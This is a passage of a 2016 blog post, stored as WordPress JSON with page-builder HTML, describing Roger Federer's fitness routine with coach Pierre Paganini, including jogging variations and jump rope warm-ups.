{"id":5052,"date":"2016-07-15T17:35:25","date_gmt":"2016-07-15T12:05:25","guid":{"rendered":"https:\/\/spyn.co\/blog\/?p=5052"},"modified":"2018-05-01T06:19:49","modified_gmt":"2018-05-01T00:49:49","slug":"roger-federer-training-routine","status":"publish","type":"post","link":"https:\/\/spyn.co\/blog\/roger-federer-training-routine\/","title":{"rendered":"Roger Federer\u2019s Training Routine"},"content":{"rendered":"\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_section-62d9083dad7a7a35bf25ba3421f632dc\">\n.avia-section.av-av_section-62d9083dad7a7a35bf25ba3421f632dc{\nbackground-color:#666666;\nbackground-image:url(https:\/\/spyn.co\/blog\/wp-content\/uploads\/Federer-training-routine.jpg);\nbackground-repeat:no-repeat;\nbackground-position:0% 0%;\nbackground-attachment:scroll;\n}\n.avia-section.av-av_section-62d9083dad7a7a35bf25ba3421f632dc .av-section-color-overlay{\nopacity:0.5;\nbackground-color:#000000;\n}\n<\/style>\n<div id='banner'  class='avia-section av-av_section-62d9083dad7a7a35bf25ba3421f632dc main_color avia-section-no-padding avia-no-border-styling  avia-builder-el-0  el_before_av_section  avia-builder-el-first  avia-full-stretch avia-bg-style-scroll av-section-color-overlay-active av-minimum-height av-minimum-height-75 av-height-75  container_wrap fullsize'  data-section-bg-repeat='stretch' data-av_minimum_height_pc='75' data-av_min_height_opt='75'><div class=\"av-section-color-overlay-wrap\"><div class=\"av-section-color-overlay\"><\/div><div class='container av-section-cont-open' ><main  role=\"main\" itemprop=\"mainContentOfPage\"  class='template-page content  av-content-full alpha units'><div class='post-entry post-entry-type-page post-entry-5052'><div class='entry-content-wrapper clearfix'>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_heading-e4b47556455ae95e6aeae8dd31bdae89\">\n#top .av-special-heading.av-av_heading-e4b47556455ae95e6aeae8dd31bdae89{\npadding-bottom:10px;\ncolor:#ffffff;\nfont-size:50px;\n}\nbody .av-special-heading.av-av_heading-e4b47556455ae95e6aeae8dd31bdae89 .av-special-heading-tag .heading-char{\nfont-size:25px;\n}\n#top #wrap_all .av-special-heading.av-av_heading-e4b47556455ae95e6aeae8dd31bdae89 .av-special-heading-tag{\nfont-size:50px;\n}\n.av-special-heading.av-av_heading-e4b47556455ae95e6aeae8dd31bdae89 .special-heading-inner-border{\nborder-color:#ffffff;\n}\n.av-special-heading.av-av_heading-e4b47556455ae95e6aeae8dd31bdae89 .av-subheading{\nfont-size:15px;\n}\n\n@media only screen and (min-width: 480px) and (max-width: 767px){ \n#top #wrap_all .av-special-heading.av-av_heading-e4b47556455ae95e6aeae8dd31bdae89 .av-special-heading-tag{\nfont-size:0.8em;\n}\n}\n\n@media only screen and (max-width: 479px){ \n#top #wrap_all .av-special-heading.av-av_heading-e4b47556455ae95e6aeae8dd31bdae89 .av-special-heading-tag{\nfont-size:0.8em;\n}\n}\n<\/style>\n<div  class='av-special-heading av-av_heading-e4b47556455ae95e6aeae8dd31bdae89 av-special-heading-h1 custom-color-heading blockquote modern-quote modern-centered  avia-builder-el-1  el_before_av_textblock  avia-builder-el-first  av-inherit-size'><h1 class='av-special-heading-tag '  itemprop=\"headline\"  >Roger Federer\u2019s Training Routine<\/h1><div class=\"special-heading-border\"><div class=\"special-heading-inner-border\"><\/div><\/div><\/div>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_textblock-e320de35d7015ebc39ef6cb2db0d9e7b\">\n#top .av_textblock_section.av-av_textblock-e320de35d7015ebc39ef6cb2db0d9e7b .avia_textblock{\nfont-size:18px;\ncolor:#e2e2e2;\n}\n<\/style>\n<section  class='av_textblock_section av-av_textblock-e320de35d7015ebc39ef6cb2db0d9e7b '   itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/BlogPosting\" itemprop=\"blogPost\" ><div class='avia_textblock av_inherit_color'  itemprop=\"text\" ><p style=\"text-align: center\"><strong>Behind-the-scenes of Roger&#8217;s\u00a066 Grand Slam Appearances and 17 Titles.<\/strong><\/p>\n<\/div><\/section>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_hr-0688d0b0b6ed2f8b057db7a8270206df\">\n#top .hr.hr-invisible.av-av_hr-0688d0b0b6ed2f8b057db7a8270206df{\nheight:50px;\n}\n<\/style>\n<div  class='hr av-av_hr-0688d0b0b6ed2f8b057db7a8270206df hr-invisible  avia-builder-el-3  el_after_av_textblock  el_before_av_textblock '><span class='hr-inner '><span class=\"hr-inner-style\"><\/span><\/span><\/div>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_textblock-5621182bd2592f898ca26ee7672df748\">\n#top .av_textblock_section.av-av_textblock-5621182bd2592f898ca26ee7672df748 .avia_textblock{\nfont-size:12px;\ncolor:#e2e2e2;\n}\n<\/style>\n<section  class='av_textblock_section av-av_textblock-5621182bd2592f898ca26ee7672df748 '   itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/BlogPosting\" itemprop=\"blogPost\" ><div class='avia_textblock av_inherit_color'  itemprop=\"text\" ><p style=\"text-align: center\"><em>Author &#8211; Tejasvi Lohia<\/em><\/p>\n<p style=\"text-align: center\"><em>(Reading time ~ 3 mins)<\/em><\/p>\n<\/div><\/section>\n\n<\/div><\/div><\/main><!-- close content main element --><\/div><\/div><\/div><div id='av_section_2'  class='avia-section av-av_section-915b33fd1d6006bfc684ade488387eaf main_color avia-section-default avia-no-border-styling  avia-builder-el-5  el_after_av_section  el_before_av_section  avia-bg-style-scroll container_wrap fullsize'  ><div class='container av-section-cont-open' ><div class='template-page content  av-content-full alpha units'><div class='post-entry post-entry-type-page post-entry-5052'><div class='entry-content-wrapper clearfix'>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36\">\n.flex_column.av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36 av_one_fifth  avia-builder-el-6  el_before_av_three_fifth  avia-builder-el-first  first flex_column_div av-zero-column-padding  '     ><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae\">\n.flex_column.av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae av_three_fifth  avia-builder-el-7  el_after_av_one_fifth  el_before_av_one_fifth  flex_column_div av-zero-column-padding  '     ><section  class='av_textblock_section av-av_textblock-0366cc7376be6c9e82a3e9cc8987b64f '   itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/BlogPosting\" itemprop=\"blogPost\" ><div class='avia_textblock'  itemprop=\"text\" ><p>Strength and conditioning coach, Pierre Paganini has been training Roger Federer for more than a decade, whom he met while playing as a teen. Paganini shapes Federer\u2019s routine with a variety of exercises to diversify Roger Federer\u2019s training, from weight work to footwork to sprints. Federer works out about 10 hours a week off the court in the off season. Roger likes rope jumping and lifting weights, and sees push- ups as a challenge. Following are some exercises in Federer\u2019s world class routine:<\/p>\n<\/div><\/section><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae\">\n.flex_column.av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae av_one_fifth  avia-builder-el-9  el_after_av_three_fifth  avia-builder-el-last  flex_column_div av-zero-column-padding  '     ><\/div>\n\n<\/div><\/div><\/div><!-- close content main div --><\/div><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_section-f500abf892d441c9642f46a79b5a9d4f\">\n.avia-section.av-av_section-f500abf892d441c9642f46a79b5a9d4f{\nbackground-color:#efefef;\nbackground-image:unset;\n}\n<\/style>\n<div id='av_section_3'  class='avia-section av-av_section-f500abf892d441c9642f46a79b5a9d4f main_color avia-section-default avia-no-border-styling  avia-builder-el-10  el_after_av_section  el_before_av_section  avia-bg-style-scroll container_wrap fullsize'  ><div class='container av-section-cont-open' ><div class='template-page content  av-content-full alpha units'><div class='post-entry post-entry-type-page post-entry-5052'><div class='entry-content-wrapper clearfix'>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36\">\n.flex_column.av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36 av_one_fifth  avia-builder-el-11  el_before_av_three_fifth  avia-builder-el-first  first flex_column_div av-zero-column-padding  '     ><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae\">\n.flex_column.av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae av_three_fifth  avia-builder-el-12  el_after_av_one_fifth  el_before_av_one_fifth  flex_column_div av-zero-column-padding  '     ><style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_textblock-7f3375427bec4e9b5b50b0ba0c9c7573\">\n#top .av_textblock_section.av-av_textblock-7f3375427bec4e9b5b50b0ba0c9c7573 .avia_textblock{\nfont-size:24px;\n}\n<\/style>\n<section  class='av_textblock_section av-av_textblock-7f3375427bec4e9b5b50b0ba0c9c7573 '   itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/BlogPosting\" itemprop=\"blogPost\" ><div class='avia_textblock'  itemprop=\"text\" ><blockquote>\n<h2 style=\"color: #666666;font-size: 35px;text-align: center\">There is no way around hard work. Embrace it.<\/h2>\n<h2 style=\"color: #666666;font-size: 35px;text-align: right\">&#8211; Roger Federer<\/h2>\n<\/blockquote>\n<\/div><\/section><br \/>\n<\/p><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae\">\n.flex_column.av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae av_one_fifth  avia-builder-el-15  el_after_av_three_fifth  avia-builder-el-last  flex_column_div av-zero-column-padding  '     ><\/div><\/div><\/div><\/div><!-- close content main div --><\/div><\/div><div id='av_section_4'  class='avia-section av-av_section-915b33fd1d6006bfc684ade488387eaf main_color avia-section-default avia-no-border-styling  avia-builder-el-16  el_after_av_section  el_before_av_section  avia-bg-style-scroll container_wrap fullsize'  ><div class='container av-section-cont-open' ><div class='template-page content  av-content-full alpha units'><div class='post-entry post-entry-type-page post-entry-5052'><div class='entry-content-wrapper clearfix'>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36\">\n.flex_column.av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36 av_one_fifth  avia-builder-el-17  el_before_av_three_fifth  avia-builder-el-first  first flex_column_div av-zero-column-padding  '     ><style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_image-c97852ecff4fa804627e1b4ecf2ba408\">\n.avia-image-container.av-av_image-c97852ecff4fa804627e1b4ecf2ba408 img.avia_image{\nbox-shadow:none;\n}\n.avia-image-container.av-av_image-c97852ecff4fa804627e1b4ecf2ba408 .av-image-caption-overlay-center{\ncolor:#ffffff;\n}\n<\/style>\n<div  class='avia-image-container av-av_image-c97852ecff4fa804627e1b4ecf2ba408 av-styling-circle av-hover-grow avia_animated_image av-animated-when-visible-95 left-to-right avia-align-center  avia-builder-el-18  avia-builder-el-no-sibling '   itemprop=\"image\" itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/ImageObject\" ><div class=\"avia-image-container-inner\"><div class=\"avia-image-overlay-wrap\"><img decoding=\"async\" fetchpriority=\"high\" class='wp-image-5055 avia-img-lazy-loading-not-5055 avia_image ' src=\"https:\/\/spyn.co\/blog\/wp-content\/uploads\/01.jpg\" alt='Jogging variations' title='Jogging variations'  height=\"754\" width=\"754\"  itemprop=\"thumbnailUrl\" srcset=\"https:\/\/spyn.co\/blog\/wp-content\/uploads\/01.jpg 754w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/01-80x80.jpg 80w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/01-300x300.jpg 300w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/01-36x36.jpg 36w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/01-180x180.jpg 180w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/01-705x705.jpg 705w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/01-120x120.jpg 120w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/01-450x450.jpg 450w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/01-128x128.jpg 128w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/01-32x32.jpg 32w\" sizes=\"(max-width: 754px) 100vw, 754px\" \/><\/div><\/div><\/div><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae\">\n.flex_column.av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae av_three_fifth  avia-builder-el-19  el_after_av_one_fifth  el_before_av_one_fifth  flex_column_div av-zero-column-padding  '     ><p>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_heading-aeb2afa378cefc7530188ba7241251f9\">\n#top .av-special-heading.av-av_heading-aeb2afa378cefc7530188ba7241251f9{\npadding-bottom:10px;\n}\nbody .av-special-heading.av-av_heading-aeb2afa378cefc7530188ba7241251f9 .av-special-heading-tag .heading-char{\nfont-size:25px;\n}\n.av-special-heading.av-av_heading-aeb2afa378cefc7530188ba7241251f9 .av-subheading{\nfont-size:15px;\n}\n<\/style>\n<div  class='av-special-heading av-av_heading-aeb2afa378cefc7530188ba7241251f9 av-special-heading-h3 blockquote modern-quote  avia-builder-el-20  el_before_av_textblock  avia-builder-el-first '><h3 class='av-special-heading-tag '  itemprop=\"headline\"  >WARM UP <\/h3><div class=\"special-heading-border\"><div class=\"special-heading-inner-border\"><\/div><\/div><\/div><br \/>\n<section  class='av_textblock_section av-av_textblock-0366cc7376be6c9e82a3e9cc8987b64f '   itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/BlogPosting\" itemprop=\"blogPost\" ><div class='avia_textblock'  itemprop=\"text\" ><p>JOGGING VARIATIONS<\/p>\n<p>The Federer Warm up consists of doing several jogging variations that focus on different muscles. Amongst these are butt kicks &#8211; the running motion where the heel must touch the butt with each step as a player advances from the net to the baseline and back again.<\/p>\n<\/div><\/section><\/p><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae\">\n.flex_column.av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae av_one_fifth  avia-builder-el-22  el_after_av_three_fifth  avia-builder-el-last  flex_column_div av-zero-column-padding  '     ><\/div>\n<\/p>\n<\/div><\/div><\/div><!-- close content main div --><\/div><\/div><div id='av_section_5'  class='avia-section av-av_section-915b33fd1d6006bfc684ade488387eaf main_color avia-section-default avia-no-border-styling  avia-builder-el-23  el_after_av_section  el_before_av_section  avia-bg-style-scroll container_wrap fullsize'  ><div class='container av-section-cont-open' ><div class='template-page content  av-content-full alpha units'><div class='post-entry post-entry-type-page post-entry-5052'><div class='entry-content-wrapper clearfix'>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36\">\n.flex_column.av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_one_fifth-9497bbf8bff73ea4c6992cc17fa9ec36 av_one_fifth  avia-builder-el-24  el_before_av_three_fifth  avia-builder-el-first  first flex_column_div av-zero-column-padding  '     ><style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_image-623a2896b1710000cd1693186a64ad62\">\n.avia-image-container.av-av_image-623a2896b1710000cd1693186a64ad62 img.avia_image{\nbox-shadow:none;\n}\n.avia-image-container.av-av_image-623a2896b1710000cd1693186a64ad62 .av-image-caption-overlay-center{\ncolor:#ffffff;\n}\n<\/style>\n<div  class='avia-image-container av-av_image-623a2896b1710000cd1693186a64ad62 av-styling-circle av-hover-grow avia_animated_image av-animated-when-visible-95 left-to-right avia-align-center  avia-builder-el-25  avia-builder-el-no-sibling '   itemprop=\"image\" itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/ImageObject\" ><div class=\"avia-image-container-inner\"><div class=\"avia-image-overlay-wrap\"><img decoding=\"async\" fetchpriority=\"high\" class='wp-image-5056 avia-img-lazy-loading-not-5056 avia_image ' src=\"https:\/\/spyn.co\/blog\/wp-content\/uploads\/02-1.jpg\" alt='jump rope' title='jump rope'  height=\"754\" width=\"754\"  itemprop=\"thumbnailUrl\" srcset=\"https:\/\/spyn.co\/blog\/wp-content\/uploads\/02-1.jpg 754w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/02-1-80x80.jpg 80w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/02-1-300x300.jpg 300w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/02-1-36x36.jpg 36w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/02-1-180x180.jpg 180w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/02-1-705x705.jpg 705w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/02-1-120x120.jpg 120w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/02-1-450x450.jpg 450w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/02-1-128x128.jpg 128w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/02-1-32x32.jpg 32w\" sizes=\"(max-width: 754px) 100vw, 754px\" \/><\/div><\/div><\/div><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae\">\n.flex_column.av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_three_fifth-9c1d454dc06f7247226bc4e8f931daae av_three_fifth  avia-builder-el-26  el_after_av_one_fifth  el_before_av_one_fifth  flex_column_div av-zero-column-padding  '     ><p>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_heading-8a97908961755b16322a3a1fa090e542\">\n#top .av-special-heading.av-av_heading-8a97908961755b16322a3a1fa090e542{\npadding-bottom:10px;\n}\nbody .av-special-heading.av-av_heading-8a97908961755b16322a3a1fa090e542 .av-special-heading-tag .heading-char{\nfont-size:25px;\n}\n.av-special-heading.av-av_heading-8a97908961755b16322a3a1fa090e542 .av-subheading{\nfont-size:15px;\n}\n<\/style>\n<div  class='av-special-heading av-av_heading-8a97908961755b16322a3a1fa090e542 av-special-heading-h3 blockquote modern-quote  avia-builder-el-27  el_before_av_textblock  avia-builder-el-first '><h3 class='av-special-heading-tag '  itemprop=\"headline\"  >CARDIO WARM UP <\/h3><div class=\"special-heading-border\"><div class=\"special-heading-inner-border\"><\/div><\/div><\/div><br \/>\n<section  class='av_textblock_section av-av_textblock-0366cc7376be6c9e82a3e9cc8987b64f '   itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/BlogPosting\" itemprop=\"blogPost\" ><div class='avia_textblock'  itemprop=\"text\" ><p>JUMP ROPE<\/p>\n<p>Roger Federer makes use of one of the easiest methods &#8211; Jump rope. He starts off with a fairly leisurely skip and eventually double his speed. It helps in increasing blood flow, footwork speed and strengthens calf muscles.<\/p>\n<\/div><\/section><\/p><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae\">\n.flex_column.av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_one_fifth-9c1d454dc06f7247226bc4e8f931daae av_one_fifth  avia-builder-el-29  el_after_av_three_fifth  avia-builder-el-last  flex_column_div av-zero-column-padding  '     ><\/div>\n\n<\/div><\/div><\/div><!-- close content main div --><\/div><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_section-f500abf892d441c9642f46a79b5a9d4f\">\n.avia-section.av-av_section-f500abf892d441c9642f46a79b5a9d4f{\nbackground-color:#efefef;\nbackground-image:unset;\n}\n<\/style>\n<div id='av_section_6'  class='avia-section av-av_section-f500abf892d441c9642f46a79b5a9d4f main_color avia-section-default avia-no-border-styling  avia-builder-el-30  el_after_av_section  el_before_av_section  avia-bg-style-scroll container_wrap fullsize'  ><div class='container av-section-cont-open' ><div class='template-page content  av-content-full alpha units'><div class='post-entry post-entry-type-page post-entry-5052'><div class='entry-content-wrapper clearfix'>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_third-9497bbf8bff73ea4c6992cc17fa9ec36\">\n.flex_column.av-av_one_third-9497bbf8bff73ea4c6992cc17fa9ec36{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_one_third-9497bbf8bff73ea4c6992cc17fa9ec36 av_one_third  avia-builder-el-31  el_before_av_two_third  avia-builder-el-first  first flex_column_div av-zero-column-padding  '     ><style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_image-eb7e016fcde2282968340ce4a919e838\">\n.avia-image-container.av-av_image-eb7e016fcde2282968340ce4a919e838 img.avia_image{\nbox-shadow:none;\n}\n.avia-image-container.av-av_image-eb7e016fcde2282968340ce4a919e838 .av-image-caption-overlay-center{\ncolor:#ffffff;\n}\n<\/style>\n<div  class='avia-image-container av-av_image-eb7e016fcde2282968340ce4a919e838 av-styling-no-styling avia-align-center  avia-builder-el-32  avia-builder-el-no-sibling '   itemprop=\"image\" itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/ImageObject\" ><div class=\"avia-image-container-inner\"><div class=\"avia-image-overlay-wrap\"><img decoding=\"async\" fetchpriority=\"high\" class='wp-image-5074 avia-img-lazy-loading-not-5074 avia_image ' src=\"https:\/\/spyn.co\/blog\/wp-content\/uploads\/spyn_Glimpse-of-Federers-Training_Icon-86x300.png\" alt='Federer Training' title='spyn_Glimpse of Federers Training_Icon'  height=\"300\" width=\"86\"  itemprop=\"thumbnailUrl\" srcset=\"https:\/\/spyn.co\/blog\/wp-content\/uploads\/spyn_Glimpse-of-Federers-Training_Icon-86x300.png 86w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/spyn_Glimpse-of-Federers-Training_Icon-37x128.png 37w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/spyn_Glimpse-of-Federers-Training_Icon-9x32.png 9w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/spyn_Glimpse-of-Federers-Training_Icon.png 200w\" sizes=\"(max-width: 86px) 100vw, 86px\" \/><\/div><\/div><\/div><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_two_third-9c1d454dc06f7247226bc4e8f931daae\">\n.flex_column.av-av_two_third-9c1d454dc06f7247226bc4e8f931daae{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_two_third-9c1d454dc06f7247226bc4e8f931daae av_two_third  avia-builder-el-33  el_after_av_one_third  avia-builder-el-last  flex_column_div av-zero-column-padding  '     ><p>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_heading-a1cc29c9cbd4f8289fc9f9dbf1b177fc\">\n#top .av-special-heading.av-av_heading-a1cc29c9cbd4f8289fc9f9dbf1b177fc{\npadding-bottom:10px;\ncolor:#545454;\n}\nbody .av-special-heading.av-av_heading-a1cc29c9cbd4f8289fc9f9dbf1b177fc .av-special-heading-tag .heading-char{\nfont-size:25px;\n}\n.av-special-heading.av-av_heading-a1cc29c9cbd4f8289fc9f9dbf1b177fc .special-heading-inner-border{\nborder-color:#545454;\n}\n.av-special-heading.av-av_heading-a1cc29c9cbd4f8289fc9f9dbf1b177fc .av-subheading{\nfont-size:15px;\n}\n<\/style>\n<div  class='av-special-heading av-av_heading-a1cc29c9cbd4f8289fc9f9dbf1b177fc av-special-heading-h3 custom-color-heading blockquote modern-quote  avia-builder-el-34  el_before_av_codeblock  avia-builder-el-first '><h3 class='av-special-heading-tag '  itemprop=\"headline\"  >Get the Federer Training Infographic in your Inbox.<\/h3><div class=\"special-heading-border\"><div class=\"special-heading-inner-border\"><\/div><\/div><\/div><br \/>\n<br \/>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_hr-0688d0b0b6ed2f8b057db7a8270206df\">\n#top .hr.hr-invisible.av-av_hr-0688d0b0b6ed2f8b057db7a8270206df{\nheight:50px;\n}\n<\/style>\n<div  class='hr av-av_hr-0688d0b0b6ed2f8b057db7a8270206df hr-invisible  avia-builder-el-36  el_after_av_codeblock  el_before_av_social_share '><span class='hr-inner '><span class=\"hr-inner-style\"><\/span><\/span><\/div><br \/>\n<div  class='av-social-sharing-box av-av_social_share-d059bec7f6a76d9801f82e99ea99524c av-social-sharing-box-minimal  avia-builder-el-37  el_after_av_hr  avia-builder-el-last  av-social-sharing-box-fullwidth'><div class=\"av-share-box\"><h5 class='av-share-link-description av-no-toc '>Share with friends<\/h5><ul class=\"av-share-box-list noLightbox\"><li class='av-share-link av-social-link-facebook avia_social_iconfont' ><a target=\"_blank\" aria-label=\"Share on Facebook\" href='https:\/\/www.facebook.com\/sharer.php?u=https:\/\/spyn.co\/blog\/roger-federer-training-routine\/&#038;t=Roger%20Federer%E2%80%99s%20Training%20Routine' data-av_icon='\ue8f3' data-av_iconfont='entypo-fontello'  title='' data-avia-related-tooltip='Share on Facebook'><span class='avia_hidden_link_text'>Share on Facebook<\/span><\/a><\/li><li class='av-share-link av-social-link-twitter avia_social_iconfont' ><a target=\"_blank\" aria-label=\"Share on X\" href='https:\/\/twitter.com\/share?text=Roger%20Federer%E2%80%99s%20Training%20Routine&#038;url=https:\/\/spyn.co\/blog\/?p=5052' data-av_icon='\ue932' data-av_iconfont='entypo-fontello'  title='' data-avia-related-tooltip='Share on X'><span class='avia_hidden_link_text'>Share on X<\/span><\/a><\/li><li class='av-share-link av-social-link-whatsapp avia_social_iconfont' ><a target=\"_blank\" aria-label=\"Share on WhatsApp\" href='https:\/\/api.whatsapp.com\/send?text=https:\/\/spyn.co\/blog\/roger-federer-training-routine\/' data-av_icon='\uf232' data-av_iconfont='entypo-fontello'  title='' data-avia-related-tooltip='Share on WhatsApp'><span class='avia_hidden_link_text'>Share on WhatsApp<\/span><\/a><\/li><li class='av-share-link av-social-link-linkedin avia_social_iconfont' ><a target=\"_blank\" aria-label=\"Share on LinkedIn\" href='https:\/\/linkedin.com\/shareArticle?mini=true&#038;title=Roger%20Federer%E2%80%99s%20Training%20Routine&#038;url=https:\/\/spyn.co\/blog\/roger-federer-training-routine\/' data-av_icon='\ue8fc' data-av_iconfont='entypo-fontello'  title='' data-avia-related-tooltip='Share on LinkedIn'><span class='avia_hidden_link_text'>Share on LinkedIn<\/span><\/a><\/li><\/ul><\/div><\/div><\/p><\/div>\n\n<\/div><\/div><\/div><!-- close content main div --><\/div><\/div><div id='av_section_7'  class='avia-section av-av_section-915b33fd1d6006bfc684ade488387eaf main_color avia-section-default avia-no-border-styling  avia-builder-el-38  el_after_av_section  el_before_av_section  avia-bg-style-scroll container_wrap fullsize'  ><div class='container av-section-cont-open' ><div class='template-page content  av-content-full alpha units'><div class='post-entry post-entry-type-page post-entry-5052'><div class='entry-content-wrapper clearfix'>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" 